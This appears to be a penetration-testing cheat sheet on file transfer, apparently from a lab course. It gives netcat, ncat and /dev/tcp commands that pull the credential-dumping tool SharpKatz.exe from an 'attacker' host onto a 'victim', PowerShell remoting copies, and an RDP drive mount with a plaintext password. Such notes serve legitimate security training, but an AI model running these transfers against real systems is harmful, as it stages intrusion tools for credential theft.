NC / RDP / PowerShell Session

Netcat / Ncat

Victim machine listening on a port
terminal
$ nc -l -p 8000 > SharpKatz.exe$ ncat -l -p 8000 --recv-only > SharpKatz.exe
Attacker machine sends the file
terminal
$ nc -q 0 192.168.49.128 8000 < SharpKatz.exe$ ncat --send-only 192.168.49.128 8000 < SharpKatz.exe
The -q 0 option closes the connection once the file has been sent. The --send-only option ensures that Ncat terminates the connection when the input is exhausted

Scenario: attacker listening and victim connecting

Attacker listening:
terminal
$ sudo nc -l -p 443 -q 0 < SharpKatz.exe$ sudo ncat -l -p 443 --send-only < SharpKatz.exe
Victim connecting:
terminal
$ nc 192.168.49.128 443 > SharpKatz.exe$ ncat 192.168.49.128 443 --recv-only > SharpKatz.exe

Using /dev/tcp (victim)

terminal
$ cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe

PowerShell Session

Requirements: WinRM enabled, appropriate privileges, TCP/5985 (HTTP) or TCP/5986 (HTTPS) ports.
  • Verify WinRM connectivity
powershell
Test-NetConnection -ComputerName DATABASE01 -Port 5985
  • Create a remote session
powershell
$Session = New-PSSession -ComputerName DATABASE01
  • Transfer files with Copy-Item
powershell
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session
  • Additional options
powershell
Get-PSSession
Remove-PSSession -Session $Session

RDP

Mount a local resource with xfreerdp using the /drive flag
terminal
$ xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer
On the remote machine, access the resource through \tsclientlinux